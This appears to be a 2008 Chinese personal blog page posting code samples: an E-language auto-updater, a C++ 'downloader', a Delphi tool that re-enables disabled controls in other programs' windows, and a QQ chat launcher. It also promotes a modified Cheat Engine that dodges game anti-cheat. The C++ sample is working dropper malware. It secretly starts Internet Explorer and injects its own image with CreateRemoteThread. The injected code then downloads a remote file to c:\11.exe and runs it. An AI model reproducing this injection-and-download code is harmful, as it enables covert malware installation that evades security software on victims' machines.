.版本 2
.支持库 internet
.支持库 iext
.支持库 shell
.支持库 downlib

.程序集 窗口程序集3

.子程序 _更新_创建完毕

删除文件 (取运行目录 () + “\yxbd.exe”)
官网 = 到文本 (读配置项 (取运行目录 () + “\config.ini”, “网站”, “URL”, ))
mz = 到文本 (HTTP读文件 (官网 + “/mz.txt”))
客版.标题 = 到文本 (读配置项 (取运行目录 () + “\config.ini”, “客户端版本号”, “VER”, ))
服版.标题 = 到文本 (HTTP读文件 (官网 + “/bb.txt”))
游戏名 = 到文本 (读配置项 (取运行目录 () + “\config.ini”, “游戏名称”, “名称”, ))
更新.标题 = mz + “在线更新系统”
下载地址 = 到文本 (官网 + “/yxbd.exe”)
本地路径 = 取当前目录 () + “\”
编辑框.内容 = 到文本 (HTTP读文件 (官网 + “/bbnr.txt”))
' ''''''''''''''''''''''''''''''''''''''''实际上,,更新程序可以打成自解压包....下载完成后运行它就OK了...
自动运行 = 假  ' 如果改成真,则会自动运行下载下来的程序!
临时文本 = 分割文本 (本地路径, “\”, )
.如果真 (寻找文本 (临时文本 [取数组下标 (临时文本, )], “.”, , 假) = -1)
    ' 本地路径中找不到后缀,则把下载地址中的文件名定为本地路径中的文件名
    清除数组 (临时文本)
    临时文本 = 分割文本 (下载地址, “/”, )
    本地路径 = 本地路径 + 临时文本 [取数组下标 (临时文本, )]
.如果真结束



.子程序 _按钮1_被单击

官网 = 到文本 (读配置项 (取运行目录 () + “\config.ini”, “网站”, “URL”, ))
mz = 到文本 (HTTP读文件 (官网 + “/mz.txt”))
客户端新版本.内容 = 到文本 (HTTP读文件 (官网 + “/bb.txt”))
写配置项 (取运行目录 () + “\config.ini”, “客户端版本号”, “VER”, 客户端新版本.内容)
.如果真 (按钮1.标题 = “更新”)
    执行 (, 本地路径, , )
    返回 ()
.如果真结束
下载参数.类型 = #传送常量.下载
下载参数.文件地址 = 下载地址
下载参数.下载速度 = 999999999
下载参数.线程等待超时 = 1000
下载参数.默认线程数 = 组合框.取项目数值 (组合框.现行选中项)
下载参数.本地文件路径 = 本地路径
下载参数.连接超时 = 5000
下载参数.发送超时 = 5001
下载参数.接收超时 = 10000
下载参数.接收大小 = 20480
下载参数.交互回调函数 = &交互回调函数
下载参数.日志回调函数 = &日志回调函数
下载参数.用户名 = “”
下载参数.用户密码 = “”
下载任务.增加新任务 (下载参数)
按钮1.禁止 = 真
标签大小.标题 = “正在连接更新服务器...”
时钟1.时钟周期 = 1000
时钟.时钟周期 = 50
启动时间 = 取启动时间 ()


.子程序 _时钟_周期事件

.如果真 (文件大小 ≠ 0)
    进度条1.位置 = 下载任务.取已下载长 () × 1000 \ 文件大小
.如果真结束
.如果真 (进度条1.位置 > 990)
    标签进度.标题 = “”
    标签大小.标题 = “”
    标签速度.标题 = “正在效验补丁版本!”
    进度条1.位置 = 1000
    返回 ()
.如果真结束


.子程序 _时钟1_周期事件

.如果真 (标签速度.标题 = “正在效验补丁版本!”)
    .如果真 (取文件尺寸 (本地路径) = 文件大小)
        标签大小.标题 = “文件大小:” + 到文本 (四舍五入 (文件大小 ÷ 1024 ÷ 1024, 2)) + “M”
        标签时间.标题 = “总耗时:” + 到文本 (四舍五入 ((取启动时间 () - 启动时间) ÷ 1000, 2)) + “秒”
        标签进度.标题 = “已完成:100%”
        时钟.时钟周期 = 0
        时钟1.时钟周期 = 0
    .如果真结束
    返回 ()
.如果真结束
.如果真 (文件大小 = 0)
    返回 ()
.如果真结束
标签进度.标题 = “已更新:” + 到文本 (进度条1.位置 ÷ 10) + “%”
标签大小.标题 = “进度:” + 到文本 (四舍五入 (下载任务.取已下载长 () ÷ 1024 ÷ 1024, 2)) + “M/” + 到文本 (四舍五入 (文件大小 ÷ 1024 ÷ 1024, 2)) + “M”
标签速度.标题 = “速度:” + 到文本 (下载任务.取下载速度 () \ 1024) + “KB/秒 ”
剩余时间 = 取整 ((文件大小 - 下载任务.取已下载长 ()) ÷ 取总下载速度 ())
.如果真 (剩余时间 ≠ 0)
    标签时间.标题 = “剩余时间:” + 到文本 (剩余时间) + “秒”
.如果真结束


.子程序 _按钮2_被单击

.如果真 (进度条1.位置 ≠ 1000 且 进度条1.位置 ≠ 0)
    .如果真 (信息框 (“补丁下载中...是否强行结束当前?”, 1, “提示:”) ≠ 0)
        返回 ()
    .如果真结束
    下载任务.停止指定任务 (变量, 2)
.如果真结束
销毁 ()


.子程序 交互回调函数, 整数型
.参数 消息类型, 整数型
.参数 线程信息, 整数型
.参数 参数3, 整数型
.参数 参数4, 整数型
.参数 对象信息, 整数型

' 成员<15>的中文名称为“交互回调函数”,英文名称为“MutualCallBack”,类型为“子程序指针(SubPtr)”。
' 注册一个回调函数,系统产生需要交互的消息时调用此函数,具体消息请参见传送常量中设置的消息常量。如果为0则不接收,默认为0。回调函数需要有5个参数,一个整数型的返回值。返回值根据消息类型的不同而不同,如果没有说明则返回值没有意义。参见具体的消息第一个参数(整数型)消息类型,参见“传送常量。”第二个参数(整数型),线程信息,可以通过”取线程信息“获得每个上传或下载对象的线程信息,与本参数比较从而确定发送本消息的对象第三个参数(整数型)根据消息类型的不同而不同,参见具体的消息第四个参数(整数型)根据消息类型的不同而不同,参见具体的消息第五个参数(整数型),对象信息,可以通过“取对象信息”获得下载或上传对象的信息与本参数比较,从而确定本消息属于哪个对象。
.判断开始 (消息类型 = #传送常量.下载上传开始)
    文件大小 = 参数3

.判断 (消息类型 = #传送常量.下载上传结束)
    .如果 (自动运行)
        标签速度.标题 = “下载更新已完成!”
        执行 (, 本地路径, , )  ' ''''如果自动运行为真,则自动运行程序...
        _按钮2_被单击 ()
    .否则
        按钮1.标题 = “更新”
        按钮1.禁止 = 假
    .如果结束

.默认

.判断结束
返回 (0)


.子程序 日志回调函数
.参数 线程信息, 整数型
.参数 时间, 文本型
.参数 内容, 文本型
.参数 消息类型, 整数型
.参数 对象信息, 整数型

' 日志内容 = 到文本 (消息类型) + “线程ID:” + 到文本 (线程信息) + “ ” + 时间 + “:” + 内容 + #换行符

' 注册一个回调函数,系统产生日志时会调用此函数通知用户,如果为0则不能接收日志。默认为0回调函数需要有5个参数,第一个参数(整数型),线程信息,可以通过”取线程信息“获得每个上传或下载对象的线程信息,与本参数比较从而确定发送本消息的对象。第二个参数(文本型),消息产生的时间。第三个参数(文本型),消息的正文。第四个参数(整数型),消息类型,参见”传送常量“第五个参数(整数型),对象信息,可以通过“取对象信息”获得下载或上传对象的信息与本参数比较,从而确定本消息属于哪个对象。

.子程序 _显示_被选择

位置 = 0

.子程序 _退出_被选择

_按钮2_被单击 ()
下载文件 (已下载 303 次)

简单的C++下载者代码 不指定

青色咖啡 , 2008/07/31 17:27 , 个人作品 , 评论(3) , 阅读(1556) , Via 本站原创
#include
#pragma comment(lib,"user32.lib")
#pragma comment(lib,"kernel32.lib")
#pragma comment(linker, "/ENTRY:main")  
#pragma comment(linker, "/subsystem:windows")
#pragma comment(linker, "/BASE:0x13150000")
  
   HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );//动态加载shell32.dll中的ShellExecuteA函数
   DWORD(WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//动态加载Urlmon.dll中的UrlDownloadToFileA函数
   HANDLE processhandle;
   DWORD pid;
   HINSTANCE hshell,hurlmon;

void download() //注入使用的下载函数
{
   hshell=LoadLibrary("Shell32.dll");
   hurlmon=LoadLibrary("urlmon.dll");

   (FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");
   (FARPROC&)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA");

   DOWNFILE(NULL,"http://www.t522.com/jdrj.rar","c:\\11.exe",0, NULL);
   SHELLRUN(0,"open","c:\\11.exe",NULL,NULL,5);
   ExitProcess(0);
};
  

void main() //主函数
{  
    //1.得到IE路径,并运行
   char iename[MAX_PATH],iepath[MAX_PATH];
   ZeroMemory(iename,sizeof(iename));
   ZeroMemory(iepath,sizeof(iepath));

   GetWindowsDirectory(iepath,MAX_PATH);
   strncpy(iename,iepath,3);
   strcat(iename,"program files\\inTernet Explorer\\iexplore.exe");
   //strcat(iename,"windows\\notepad.EXE");
   WinExec(iename,SW_HIDE);
   Sleep(500);

   //2.得到 IE process handle
   HWND htemp;
   htemp=FindWindow("IEFrame",NULL);
   GetWindowThreadProcessId(htemp,&pid);
   processhandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  
   //3.分配内存
   HMODULE Module;
   LPVOID NewModule;
   DWORD Size;
   LPDWORD lpimagesize;

   Module = GetModuleHandle(NULL);//进程映像的基址
   //得到内存镜像大小
   _asm
   {
       push eax;
       push ebx;
       mov ebx,Module;
       mov eax,[ebx+0x3c];
       lea eax,[ebx+eax+0x50];    
       mov eax,[eax]
       mov lpimagesize,eax;
       pop ebx;
       pop eax;
   };
   Size=(DWORD)lpimagesize;
   NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//确定起始基址和内存映像基址的位置

   //4.写内存,创建线程
   WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);//写数据
   LPTHREAD_START_ROUTINE entrypoint;
   __asm
   {
       push eax;
       lea eax,download;
       mov entrypoint,eax;
       pop eax
   }
   CreateRemoteThread(processhandle, NULL, 0, entrypoint, Module, 0, NULL);    //建立远程线程,并运行
   CloseHandle(processhandle);
   return;
    };

点击在新窗口中浏览此图片 点击在新窗口中浏览此图片 这个是一个汉化版的CE,针对完美系列的封CE进了了处理,可以说不能100%保证,但是可以保证99%,有些BUG,但是不是很要紧. 需要的就下载吧,这个是本人汉化的,首发是广海论坛!


新CE5.6修改版已放出下载,地址是115网盘.


http://u.115.com/file/f261686673



http://u.115.com/file/f261686673

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls,shellapi;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Timer1: TTimer;
    Edit1: TEdit;
    Button2: TButton;
    Edit2: TEdit;
    Label3: TLabel;
    Label4: TLabel;
    Button3: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  isenable:boolean;
  function backfunc(AhWnd:hwnd;AlParam:lParam):boolean;stdcall;

implementation

{$R *.dfm}
function backfunc(AhWnd:hwnd;AlParam:lParam):boolean;stdcall;
var
wndcn:array [0..255] of char;
wndcp:array [0..255] of char;
begin
  getclassname(ahwnd,wndcn,255);
  getwindowtext(ahwnd,wndcp,255);

  if isenable then
  enablewindow(ahwnd,true)  //激活
  else
  enablewindow(ahwnd,false);    //激死

  if (pos('停止&',strpas(wndcp)) > 0) or (pos('激活&',strpas(wndcp)) > 0) then
    enablewindow(ahwnd,true);
  result:=true;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
    if button1.Tag = 0 then
    begin
      isenable:=true;
      button1.Tag:=1;
      button1.Caption:='停止&';
      button2.Tag:=0;
      button2.Caption:= '激死';
      timer1.Enabled:=true;
    end  else
    begin
      button1.Tag:= 0;
      button1.Caption:='激活&';
      timer1.Enabled:=false;
    end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
h:thandle;
cp:array [0..255] of char;
begin
  h:=getforegroundwindow();
  if h <> 0 then
  begin
    edit1.Text:=inttostr(h);  //返回句柄显示
    getwindowtext(h,cp,255);  //  获取标题
    edit2.Text:=strpas(cp);
    enumchildwindows(h,@backfunc,0);   //枚举窗口所有控件句柄
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
   if button2.Tag = 0 then
   begin
     isenable:=false;
     button2.Tag:=1;
     button2.Caption:='停止&';
     button1.Caption:='激活&';
     button1.Tag:=0;
     timer1.Enabled:=true;
   end else
   begin
     button2.Tag:=0;
     button2.Caption:= '激死';
     timer1.Enabled:=false;
     button1.Enabled:=true;
   end;

end;

procedure TForm1.Button4Click(Sender: TObject);
begin
   timer1timer(form1);
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  ShowMessage('本文BY:青色咖啡:极点博客!');
   ShellExecute(Application.Handle, nil, 'http://blog.t522.com', nil, nil, SW_SHOWNORMAL);
end;

end.


QQ强聊器代码 不指定

青色咖啡 , 2008/07/31 00:07 , 个人作品 , 评论(0) , 阅读(1213) , Via 本站原创
unit Main;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, OleCtrls,ShellApi, ExtCtrls, SHDocVw,
  ComCtrls;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    Button2: TButton;
    WebBrowser1: TWebBrowser;
    Label1: TLabel;
    Label2: TLabel;
    StatusBar1: TStatusBar;
    Label3: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure StatusBar1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
mystream:TMemoryStream;
strurl:string;
bp:TBitmap;
begin
WebBrowser1.Navigate('http://wpa.qq.com/pa?p=1:'+edit1.text+':1');
end;

procedure TForm1.Button2Click(Sender: TObject);
var
s: string;
haima:Integer;
begin
  if Edit1.Text<>'17306119' then
begin
haima:=StrToInt(Edit1.Text);
s:='Tencent://Message/?Menu=YES&Exe=&Uin='+inttostr(haima);;
Shellexecute(handle,nil,pchar(s),nil,nil,SW_MINIMIZE);
end else
begin
ShowMessage('莫要实验本人QQ号,呵呵');
end;
end;

procedure TForm1.StatusBar1Click(Sender: TObject);
var
  s: string;
begin
edit1.text:='17306119';
s:='http://www.t522.com/plus/guestbook/';
Shellexecute(handle,nil,pchar(s),nil,nil,SW_MINIMIZE);
end;

end.

下载文件 (已下载 254 次)
分页: 11/11 第一页 上页 6 7 8 9 10 11 最后页 [ 显示模式: 摘要 | 列表 ]